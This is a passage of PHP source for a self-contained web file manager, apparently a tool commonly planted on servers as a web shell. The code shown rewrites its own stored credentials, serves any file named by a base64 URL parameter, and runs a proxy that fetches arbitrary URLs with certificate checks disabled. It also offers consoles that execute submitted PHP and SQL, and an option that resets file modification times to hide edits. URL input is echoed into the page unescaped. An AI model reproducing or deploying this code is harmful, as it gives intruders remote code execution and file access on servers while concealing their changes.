		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
